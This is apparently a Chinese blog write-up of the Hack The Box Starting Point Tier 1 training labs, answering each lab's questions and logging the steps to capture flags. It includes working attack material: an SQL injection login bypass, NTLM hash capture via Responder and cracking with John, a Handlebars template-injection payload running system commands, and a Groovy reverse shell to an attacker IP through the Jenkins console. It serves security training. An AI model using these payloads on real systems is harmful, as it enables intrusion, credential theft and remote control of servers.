HACKTHEBOX——Starting Point Tier1

目录

Appointment

Sequel

Crocodile

Responder

Ignition

Bike

Pennyworth

Tactics


Appointment

HACKTHEBOX——Starting Point Tier1_第1张图片

task 1 What does the acronym SQL stand for?

结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。

结构化查询语言是高级的非过程化编程语言,允许用户在高层数据结构上工作。它不要求用户指定对数据的存放方法,也不需要用户了解具体的数据存放方式,所以具有完全不同底层结构的不同数据库系统, 可以使用相同的结构化查询语言作为数据输入与管理的接口。结构化查询语言语句可以嵌套,这使它具有极大的灵活性和强大的功能。

task 2 What is one of the most common type of SQL vulnerabilities?

SQL注入sql injection即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

task 3 What does PII stand for?

个人验证信息(PII,personally identifiable information)是有关一个人的任何数据,这些数据能帮助识别这个人,如姓名、指纹或其他生物特征资料、电子邮件地址、电话号码或社会安全号码。

task 4 What does the OWASP Top 10 list name the classification for this vulnerability?

结合上下文,应该是sql注入被OWASP Top 10分类成什么

HACKTHEBOX——Starting Point Tier1_第2张图片

task 5 What service and version are running on port 80 of the target?

HACKTHEBOX——Starting Point Tier1_第3张图片

task 6 What is the standard port used for the HTTPS protocol?

443端口即网页浏览端口,主要是用于HTTPS服务,是提供加密和通过安全端口传输的另一种HTTP。在一些对安全性要求较高的网站,比如银行、证券、购物等,都采用HTTPS服务,这样在这些网站上的交换信息,其他人抓包获取到的是加密数据,保证了交易的安全性。

task 7 What is one luck-based method of exploiting login pages?

利用运气登陆页面的方法?暴力破解?

brute-forcing

task 8 What is a folder called in web-application terminology?

web应用术语中文件夹叫什么?

Web目录web directory是网站的在线列表或目录。

task 9 What response code is given for "Not Found" errors?

HACKTHEBOX——Starting Point Tier1_第4张图片

task 10 What switch do we use with Gobuster to specify we're looking to discover directories, and not subdomains?

gobuster发现网站目录用参数dir

task 11 What symbol do we use to comment out parts of the code?

#可以注释sql语句

Submit root flag

有80端口,尝试访问web页面,打开发现是一个登录表单

HACKTHEBOX——Starting Point Tier1_第5张图片

尝试弱口令无果后,尝试登录处是否存在sql注入

HACKTHEBOX——Starting Point Tier1_第6张图片

用户名处输入admin' or '1' = '1,密码随意,即可成功登录拿到flag

select * from users where username = 'admin' or '1' = '1' and password ='123'

over

HACKTHEBOX——Starting Point Tier1_第7张图片

Sequel

task 1 What does the acronym SQL stand for?

和上一关一样的问题

task 2 During our scan, which port running mysql do we find?

task 3 What community-developed MySQL version is the target running?

nmap

-sC:使⽤默认脚本集执行脚本扫描。它相当于 --script=default。此类别中的某些脚本被认为是侵⼊性的,未经许可不得针对⽬标⽹络运行。

-sV:启⽤版本检测,它将检测哪些版本在什么平台上运行

HACKTHEBOX——Starting Point Tier1_第8张图片

task 4 What switch do we need to use in order to specify a login username for the MySQL service?

用什么开关来指定mysql的登录用户名?

task 5 Which username allows us to log into MariaDB without providing a password?

经过尝试发现root可以免密登录

mysql -u root -h 10.129.117.126

HACKTHEBOX——Starting Point Tier1_第9张图片task 6 What symbol can we use to specify within the query that we want to display everything inside a table?

*

task 7 What symbol do we need to end each query with?

;

Submit root flag

查数据库

HACKTHEBOX——Starting Point Tier1_第10张图片

使用htb数据库,查表

HACKTHEBOX——Starting Point Tier1_第11张图片

查看config表

HACKTHEBOX——Starting Point Tier1_第12张图片

over

HACKTHEBOX——Starting Point Tier1_第13张图片

Crocodile

task 1 What nmap scanning switch employs the use of default scripts during a scan?

上一关用过了-sC

sC:使⽤默认脚本集执行脚本扫描。相当于脚本=默认。此类别中的⼀些脚本被认为是侵⼊性的,并且未经许可,不得针对⽬标⽹络运行。

task 2 What service version is found to be running on port 21?

HACKTHEBOX——Starting Point Tier1_第14张图片

task 3 What FTP code is returned to us for the "Anonymous FTP login allowed" message?

允许匿名登陆返回的代码

HACKTHEBOX——Starting Point Tier1_第15张图片

task 4 What command can we use to download the files we find on the FTP server?

get,之前使用过了

task 5 What is one of the higher-privilege sounding usernames in the list we retrieved?

我们检索到的列表中最高权限的用户名是什么

使用匿名用户登录ftp

HACKTHEBOX——Starting Point Tier1_第16张图片

把两个文件都下载到本地

HACKTHEBOX——Starting Point Tier1_第17张图片

查看文件,这些用户里肯定是admin权限最高

HACKTHEBOX——Starting Point Tier1_第18张图片

task 6 What version of Apache HTTP Server is running on the target host?

HACKTHEBOX——Starting Point Tier1_第19张图片

task 7 What is the name of a handy web site analysis plug-in we can install in our browser?

我们可以在浏览器中安装的方便的网站分析插件是什么

HACKTHEBOX——Starting Point Tier1_第20张图片

task 8 What switch can we use with gobuster to specify we are looking for specific filetypes?

gobuster哪一个开关可以指定我们正在寻找的特定文件类型?

HACKTHEBOX——Starting Point Tier1_第21张图片

task 9 What file have we found that can provide us a foothold on the target?

gobuster dir --url http://10.129.139.38 --wordlist /usr/share/wordlists/dirb/commom.txt -x php

根据提示猜测应该是*****.php,所以使用-x指定php文件进行扫描

HACKTHEBOX——Starting Point Tier1_第22张图片

SUBMIT FLAG

访问login.php

HACKTHEBOX——Starting Point Tier1_第23张图片

使用admin和对应的口令登录,登陆成功,获得flag

HACKTHEBOX——Starting Point Tier1_第24张图片

over

HACKTHEBOX——Starting Point Tier1_第25张图片

Responder

task 1 How many TCP ports are open on the machine?

--min-rate :这⽤于指定 Nmap 每次发送的最⼩数据包数,随着数字的增加,它会加快扫描速度

 nmap --min-rate 5000 -p 1-65535 -sV 10.129.132.120

HACKTHEBOX——Starting Point Tier1_第26张图片

这里也不清楚怎么回事,一开始扫出来3个端口,写入发现错误,再次扫描出现2个端口,填入就过关了,但是官方答案给的却是4个 ,不管了,接着往下把

task 2 When visiting the web service using the IP address, what is the domain that we are being redirected to?

访问web即可知道被重定向至哪个页面,页面报错,刚刚输入的IP被重置为一个域名

HACKTHEBOX——Starting Point Tier1_第27张图片

task 3 Which scripting language is being used on the server to generate webpages?

因为IP地址被重定向,需要在hosts文件中写入IP到域名的映射

HACKTHEBOX——Starting Point Tier1_第28张图片

再次访问即可跳转页面 ,借助wappalyzer可以快速知道目标网站使用php语言

task 4 What is the name of the URL parameter which is used to load different language versions of the webpage?

切换语言时,url更改为图中所示

所以用于加载不同语言的url参数是page

task 5 Which of the following values for the `page` parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

问哪一个参数值是用来利用本地文件包含(LFI)的

选择../../../../../../../../windows/system32/drivers/etc/hosts

task 6 Which of the following values for the `page` parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

问哪一个参数值是用来利用远程文件包含(RFI)的

选择//10.10.14.6/somefile

task 7 What does NTLM stand for?

New Technology LAN Manager

NTLM是NT LAN Manager的缩写,这也说明了协议的来源。NTLM 是指 telnet 的一种验证身份方式,即问询/应答身份验证协议,是 Windows NT 早期版本的标准安全协议,Windows 2000 支持 NTLM 是为了保持向后兼容。Windows 2000内置三种基本安全协议之一。

身份验证过程

1. 客⼾端将⽤⼾名和域名发送给服务器。

2. 服务器⽣成⼀个随机字符串,称为challenge。

3. 客⼾端使⽤⽤⼾密码的 NTLM 哈希加密challenge,并将其发送回客⼾端

4. 服务器检索⽤⼾密码(或等效密码)。

5. 服务器使⽤从安全帐⼾数据库中检索到的哈希值来加密challenge字符串。然后将该值与从客⼾端接收到的值进行⽐较。如果值匹配,则客⼾端通过⾝份验证。

task 8 Which flag do we use in the Responder utility to specify the network interface?

responder程序中使用哪个接口来指定网络接口

HACKTHEBOX——Starting Point Tier1_第29张图片

task 9 There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as `john`, but the full name is what?.

Responder 可以进行多种不同类型的攻击,但对于这种情况,它会设置⼀个恶意 SMB 服务器。当⽬标机器尝试对该服务器执 行 NTLM ⾝份验证时,响应程序会向服务器发送回⼀个质询,以使⽤⽤⼾密码进行加密。当服务器响应时,Responder 将使⽤质询 和加密响应来⽣成 NetNTLMv2。虽然我们⽆法逆转 NetNTLMv2,但我们可以尝试许多不同的常⽤密码,看看是否有任何密码⽣成 相同的质询-响应,如果找到,我们就知道那是密码。这通常被称为散列破解,我们将使⽤⼀个名为 John The Ripper 的程序来完成。

task 10 What is the password for the administrator user?   

HACKTHEBOX——Starting Point Tier1_第30张图片

HACKTHEBOX——Starting Point Tier1_第31张图片

启动responder后,通过 Web 浏览器如下设置⻚⾯参数,告诉服务器包含来⾃ SMB 服务器的资源

http://unika.htb/index.php?page=//10.10.16.133/somefile

然后在responder中获取到一些数据

HACKTHEBOX——Starting Point Tier1_第32张图片

把获取到的hash值保存到一个文件中,使用join去破解

使用john破解hash.txt

john hash.txt -w=/usr/share/wordlists/rockyou.txt 

HACKTHEBOX——Starting Point Tier1_第33张图片

task 11 We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?

我们将使用 Windows 服务(即在盒子上运行)使用我们恢复的密码远程访问 Responder 机器。它侦听的 TCP 端口是什么?

就是之前扫描出来的5985端口

SUBMIT FLAG

evil-winrm -i 10.129.132.120 -u administrator -p badminton

HACKTHEBOX——Starting Point Tier1_第34张图片

然后拿到flag即可

HACKTHEBOX——Starting Point Tier1_第35张图片

Ignition

task 1 Which service version is found to be running on port 80?

HACKTHEBOX——Starting Point Tier1_第36张图片

task 2 What is the 3-digit HTTP status code returned when you visit http://{machine IP}/?

访问页面失败,发现输入的IP地址被重定向至一个域名

HACKTHEBOX——Starting Point Tier1_第37张图片

则输入IP返回的状态码为302

HACKTHEBOX——Starting Point Tier1_第38张图片

task 3 What is the virtual host name the webpage expects to be accessed by?

即重定向的页面

task 4 What is the full path to the file on a Linux computer that holds a local list of domain name to IP address pairs?

/etc/hosts

Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。

task 5 What is the full URL to the Magento login page?

修改hosts文件,在其中添加IP到域名的映射

HACKTHEBOX——Starting Point Tier1_第39张图片

再次访问web服务

HACKTHEBOX——Starting Point Tier1_第40张图片

可以访问之后,尝试使用gobuster扫描目录

gobuster dir --url http://ignition.htb/ --wordlist /usr/share/wordlists/dirb/common.txt

HACKTHEBOX——Starting Point Tier1_第41张图片

扫出一个/admin,看看是什么,跳转到Magento的登陆页面

HACKTHEBOX——Starting Point Tier1_第42张图片

task 6 What password provides access as admin to Magento?

已经知道用户名是admin了,本应想到暴力破解,但通关文档提示不应该使用暴力破解,直接按照官方文档给出的答案登陆吧,反正网络也不好

admin:qwerty123

SUBMIT FLAG

成功登陆后,获取flag

HACKTHEBOX——Starting Point Tier1_第43张图片

over

HACKTHEBOX——Starting Point Tier1_第44张图片

Bike

HACKTHEBOX——Starting Point Tier1_第45张图片

task 1 What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.

 nmap -sV -sC -v 10.129.57.46

HACKTHEBOX——Starting Point Tier1_第46张图片

task 2 What software is running the service listening on the http/web port identified in the first question?

HACKTHEBOX——Starting Point Tier1_第47张图片

Node.js 是⼀个开源、跨平台的后端 JavaScript 运行时环境,可⽤于构建可扩展的⽹络应⽤程序。

task 3 What is the name of the Web Framework according to Wappalyzer?

HACKTHEBOX——Starting Point Tier1_第48张图片

Express 是⼀个最⼩且灵活的 Node.js Web 应⽤程序框架,它为 Web 和移动应⽤程序提供了⼀组强⼤的功能。

task 4 What is the name of the vulnerability we test for by submitting {{7*7}}?

Node.js 和 Python Web 后端服务器经常使⽤名为“模板引擎”的软件。

模板引擎⽤于在⽹⻚上显⽰动态⽣成的内容。他们⽤实际值替换模板⽂件中的变量并将这些值显⽰给客⼾端,如果开发⼈员需要创建⼀个包含⽤⼾名、电⼦邮件、⽣⽇和各种其他内容的⽤⼾个⼈资料⻚⾯,那么对于使⽤静态 HTML ⻚⾯的多个不 同⽤⼾来说,即使不是不可能也很难实现。此处将使⽤模板引擎,以及包含个⼈资料⻚⾯基本结构的静态“模板”,然后⼿动填写⽤⼾信息并将 其显⽰给⽤⼾。

模板引擎容易出现的漏洞称为服务器端模板注⼊ (SSTI) Server Side Template Injection

服务器端模板注⼊是攻击者将恶意输⼊注⼊模板以在服务器上执行命令的漏洞。攻击者将本机(到模板引擎)代码注⼊⽹⻚的利⽤技术。然后代码通过模板引擎运行,攻击者在受影响的服务器上执行 代码。这种攻击在 Node.js ⽹站上⾮常常⻅,并且很有可能正在使⽤模板引擎来反映⽤⼾在联系⼈字段中输⼊的电⼦邮件 

在网站中输入{{7*7}}并提交,出现以下报错信息

HACKTHEBOX——Starting Point Tier1_第49张图片

 这意味着payload已经被模板引擎检测为有效,只是代码出现错误导致无法执行,可以看到报错信息中第三行,服务器正运行在/root/Backend,且当前使用的模板引擎为handlebars

task 5 What is the templating engine being used within Node.JS?

当前使用的模板引擎为handlebars

task 6 What is the name of the BurpSuite tab used to encode text?

decoder

task 7 In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?

url

task 8 When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?

require

task 9 What variable is the name of the top-level scope in Node.JS?

Global

{{#with "s" as |string|}}
	{{#with "e"}}
		{{#with split as |conslist|}}
			{{this.pop}}
			{{this.push (lookup string.sub "constructor")}}
			{{this.pop}}
			{{#with string.split as |codelist|}}
				{{this.pop}}
				{{this.push "return require('child_process').exec('whoami');"}}
				{{this.pop}}
				{{#each conslist}}
					{{#with (string.sub.apply 0 codelist)}}
						{{this}}
					{{/with}}
				{{/each}}
			{{/with}}
		{{/with}}
	{{/with}}
{{/with}}

{{this.push "return require('child_process').exec('whoami');"}} 指⽰服务器执行特定的系统命令

当向 Web 服务器发出请求时,发送的数据只能包含标准 128 字符 ASCII 集中的某些字符。必须对不属于该集合的保留字符进行url编码。

使用burpsuite的encoder对代码进行编码

HACKTHEBOX——Starting Point Tier1_第50张图片

再次输入刚才的payload,将包发送至repeater,将url编码填入参数email=中,点击send,提示出错

HACKTHEBOX——Starting Point Tier1_第51张图片

发现服务器报错,尝试修改payload中指示服务器操作的代码为 {{this.push "return process;"}} 按同样进行编码

HACKTHEBOX——Starting Point Tier1_第52张图片

 然后按同样的方式提交,可以看到响应结果正确

HACKTHEBOX——Starting Point Tier1_第53张图片

修改payload中指示服务器操作的代码为 {{this.push "return process.mainModule;"}}

看看是否可以访问 mainModule

HACKTHEBOX——Starting Point Tier1_第54张图片

同样没有报错,现在尝试调⽤require并加载模块child_process,因为它在可以默认的 Node.js 中使⽤,并且可⽤于执行系统命令,修改payload中指示服务器操作的代码为

{{this.push "return process.mainModule.require('child_process');"}}

HACKTHEBOX——Starting Point Tier1_第55张图片

现在成功调⽤require对象并加载了child_process模块,尝试运行系统命令,修改payload中指示服务器操作的代码为

{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}

HACKTHEBOX——Starting Point Tier1_第56张图片

task 10 By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?

发现web服务器正在以root权限运行,接下来修改payload继续执行相应命令获取到flag

SUBMIT FLAG

ls /root

HACKTHEBOX——Starting Point Tier1_第57张图片

cat /root/flag.txt

HACKTHEBOX——Starting Point Tier1_第58张图片

over

HACKTHEBOX——Starting Point Tier1_第59张图片

Pennyworth

task 1 What does the acronym CVE stand for?

Common Vulnerabilities and Exposures 通用漏洞披露

task 2 What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?

信息安全三要素CIA:即机密性,完整性,可用性

Confidentiality, Integrity, Availability

task 3 What is the version of the service running on port 8080?

HACKTHEBOX——Starting Point Tier1_第60张图片

task 4 What version of Jenkins is running on the target?

需要登录网站,因为目标网站http服务不在默认端口80上,需采用 IP:端口 形式

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成

访问到jenkins登陆页面 

HACKTHEBOX——Starting Point Tier1_第61张图片

尝试jenkins的默认密码,官方给出了几种用户名口令组合,逐个尝试,成功登录

HACKTHEBOX——Starting Point Tier1_第62张图片

管理页面右下角即Jenkins版本

task 5 What type of script is accepted as input on the Jenkins Script Console?

通过搜索Jenkins脚本控制台得知其实用语言为groovy

task 6 What would the "String cmd" variable from the Groovy Script snippet be equal to if the Target VM was running Windows?

cmd.exe

task 7 What is a different command than "ip a" we could use to display our network interfaces' information on Linux?

ifconfig

task 8 What switch should we use with netcat for it to use UDP transport mode?

HACKTHEBOX——Starting Point Tier1_第63张图片

task 9 What is the term used to describe making a target host initiate a connection back to the attacker host?

反弹shell  reverse shell

Submit root flag

groove反弹shell

查看连接VPN的IP地址

将IP地址与监听端口写入代码

String host="10.10.16.5";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

在kali机中开启监听

将代码写入jenkins脚本控制台,点击右下角run执行代码

HACKTHEBOX——Starting Point Tier1_第64张图片成功getshell

HACKTHEBOX——Starting Point Tier1_第65张图片

查看flag

over

HACKTHEBOX——Starting Point Tier1_第66张图片

Tactics

task 1 Which Nmap switch can we use to enumerate machines when our packets are otherwise blocked by the Windows firewall?

task 2 What does the 3-letter acronym SMB stand for?

Server Message Block

task 3 What port does SMB use to operate at?

HACKTHEBOX——Starting Point Tier1_第67张图片

task 4 What command line argument do you give to `smbclient` to list available shares?

HACKTHEBOX——Starting Point Tier1_第68张图片

task 5 What character at the end of a share name indicates it's an administrative share?

HACKTHEBOX——Starting Point Tier1_第69张图片

$

task 6 Which Administrative share is accessible on the box that allows users to view the whole file system?

C$

task 7 What command can we use to download the files we find on the SMB Share?

get

task 8 Which tool that is part of the Impacket collection can be used to get an interactive shell on the system

按照walkthrough下载impacket

git clone https://github.com/CoreSecurity/impacket.git
cd impacket
python setup.py install

HACKTHEBOX——Starting Point Tier1_第70张图片

查看可用的python脚本

HACKTHEBOX——Starting Point Tier1_第71张图片

使用psexec.py连接靶机,获取交互式shell

 python psexec.py [email protected]

 但是最后还是连接失败了,还是用老办法的好

SUBMIT FLAG

使用smbclient连接

HACKTHEBOX——Starting Point Tier1_第72张图片

下载flag

 over

HACKTHEBOX——Starting Point Tier1_第73张图片

至此,tier1所有机器全部拿下,整个过程中还是学到了一些东西的,期待tier2,早早打完start point早早拿分

你可能感兴趣的:(getFlag,sql,数据库,database,web安全,安全)